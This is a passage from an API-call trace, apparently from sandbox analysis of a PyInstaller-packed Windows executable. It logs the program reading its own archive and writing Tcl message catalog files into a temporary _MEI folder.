dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.780] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.780] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.781] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.781] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.781] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.781] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.781] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.781] CloseHandle (hObject=0x10c) returned 1 [0037.781] GetLastError () returned 0x0 [0037.781] SetLastError (dwErrCode=0x0) [0037.781] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.781] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.781] GetFileType (hFile=0x10c) returned 0x1 [0037.781] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.781] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.781] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.781] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.781] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.781] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.781] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.781] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.781] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.781] CloseHandle (hObject=0x10c) returned 1 [0037.781] GetLastError () returned 0x0 [0037.781] SetLastError (dwErrCode=0x0) [0037.781] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sk.msg") returned 61 [0037.782] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sk.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\sk.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.782] GetLastError () returned 0x2 [0037.782] SetLastError (dwErrCode=0x2) [0037.782] GetLastError () returned 0x2 [0037.782] SetLastError (dwErrCode=0x2) [0037.782] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sk.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sk.msg", lpFilePart=0x0) returned 0x3c [0037.782] GetLastError () returned 0x2 [0037.782] SetLastError (dwErrCode=0x2) [0037.782] GetLastError () returned 0x2 [0037.782] SetLastError (dwErrCode=0x2) [0037.782] GetLastError () returned 0x2 [0037.782] SetLastError (dwErrCode=0x2) [0037.782] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sk.msg") returned 61 [0037.782] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.782] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sk.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\sk.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.783] GetFileType (hFile=0x10c) returned 0x1 [0037.783] htonl (hostlong=0xb3040000) returned 0x4b3 [0037.783] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.783] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x4b3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x4b3, lpOverlapped=0x0) returned 1 [0037.784] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.784] CloseHandle (hObject=0x10c) returned 1 [0037.784] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550790 | out: hHeap=0x530000) returned 1 [0037.784] htonl (hostlong=0x30000000) returned 0x30 [0037.784] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.784] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.784] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.785] GetFileType (hFile=0x10c) returned 0x1 [0037.785] htonl (hostlong=0xad995700) returned 0x5799ad [0037.785] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c49ad, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.785] htonl (hostlong=0x79010000) returned 0x179 [0037.785] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x179) returned 0x550600 [0037.785] htonl (hostlong=0x79010000) returned 0x179 [0037.785] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.785] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.785] htonl (hostlong=0x8c040000) returned 0x48c [0037.785] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x48c) returned 0x550788 [0037.785] htonl (hostlong=0x79010000) returned 0x179 [0037.785] htonl (hostlong=0x8c040000) returned 0x48c [0037.785] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.785] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.785] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.785] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.785] CloseHandle (hObject=0x10c) returned 1 [0037.785] GetLastError () returned 0x0 [0037.785] SetLastError (dwErrCode=0x0) [0037.785] GetLastError () returned 0x0 [0037.785] SetLastError (dwErrCode=0x0) [0037.785] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.785] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.785] GetFileType (hFile=0x10c) returned 0x1 [0037.785] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.785] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.785] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.786] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.786] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.786] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.786] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.786] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.786] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.786] CloseHandle (hObject=0x10c) returned 1 [0037.786] GetLastError () returned 0x0 [0037.786] SetLastError (dwErrCode=0x0) [0037.786] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.786] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.786] GetFileType (hFile=0x10c) returned 0x1 [0037.786] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.786] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.786] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.786] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.786] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.786] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.786] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.786] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.786] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.786] CloseHandle (hObject=0x10c) returned 1 [0037.786] GetLastError () returned 0x0 [0037.786] SetLastError (dwErrCode=0x0) [0037.787] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sl.msg") returned 61 [0037.787] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sl.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\sl.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.787] GetLastError () returned 0x2 [0037.787] SetLastError (dwErrCode=0x2) [0037.787] GetLastError () returned 0x2 [0037.787] SetLastError (dwErrCode=0x2) [0037.787] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sl.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sl.msg", lpFilePart=0x0) returned 0x3c [0037.787] GetLastError () returned 0x2 [0037.787] SetLastError (dwErrCode=0x2) [0037.787] GetLastError () returned 0x2 [0037.787] SetLastError (dwErrCode=0x2) [0037.787] GetLastError () returned 0x2 [0037.787] SetLastError (dwErrCode=0x2) [0037.787] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sl.msg") returned 61 [0037.787] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.787] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sl.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\sl.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.787] GetFileType (hFile=0x10c) returned 0x1 [0037.787] htonl (hostlong=0x8c040000) returned 0x48c [0037.787] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.787] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x48c, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x48c, lpOverlapped=0x0) returned 1 [0037.791] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.791] CloseHandle (hObject=0x10c) returned 1 [0037.791] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550788 | out: hHeap=0x530000) returned 1 [0037.791] htonl (hostlong=0x30000000) returned 0x30 [0037.791] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.791] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.791] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.791] GetFileType (hFile=0x10c) returned 0x1 [0037.791] htonl (hostlong=0x269b5700) returned 0x579b26 [0037.792] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c4b26, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.792] htonl (hostlong=0x92010000) returned 0x192 [0037.792] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x192) returned 0x550600 [0037.792] htonl (hostlong=0x92010000) returned 0x192 [0037.792] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.792] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.792] htonl (hostlong=0xf3040000) returned 0x4f3 [0037.792] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4f3) returned 0x55e278 [0037.792] htonl (hostlong=0x92010000) returned 0x192 [0037.792] htonl (hostlong=0xf3040000) returned 0x4f3 [0037.792] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.792] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.792] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.792] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.792] CloseHandle (hObject=0x10c) returned 1 [0037.792] GetLastError () returned 0x0 [0037.792] SetLastError (dwErrCode=0x0) [0037.792] GetLastError () returned 0x0 [0037.792] SetLastError (dwErrCode=0x0) [0037.792] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.792] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.792] GetFileType (hFile=0x10c) returned 0x1 [0037.792] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.792] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.792] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.792] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.793] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.793] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.793] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.793] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.793] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.793] CloseHandle (hObject=0x10c) returned 1 [0037.793] GetLastError () returned 0x0 [0037.793] SetLastError (dwErrCode=0x0) [0037.793] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.793] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.793] GetFileType (hFile=0x10c) returned 0x1 [0037.793] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.793] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.793] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.793] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.793] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.793] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.793] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.793] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.793] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.793] CloseHandle (hObject=0x10c) returned 1 [0037.793] GetLastError () returned 0x0 [0037.793] SetLastError (dwErrCode=0x0) [0037.793] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sq.msg") returned 61 [0037.794] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sq.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\sq.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.794] GetLastError () returned 0x2 [0037.794] SetLastError (dwErrCode=0x2) [0037.794] GetLastError () returned 0x2 [0037.794] SetLastError (dwErrCode=0x2) [0037.794] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sq.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sq.msg", lpFilePart=0x0) returned 0x3c [0037.794] GetLastError () returned 0x2 [0037.794] SetLastError (dwErrCode=0x2) [0037.794] GetLastError () returned 0x2 [0037.794] SetLastError (dwErrCode=0x2) [0037.794] GetLastError () returned 0x2 [0037.794] SetLastError (dwErrCode=0x2) [0037.794] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sq.msg") returned 61 [0037.794] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.794] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sq.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\sq.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.794] GetFileType (hFile=0x10c) returned 0x1 [0037.794] htonl (hostlong=0xf3040000) returned 0x4f3 [0037.794] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.794] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, 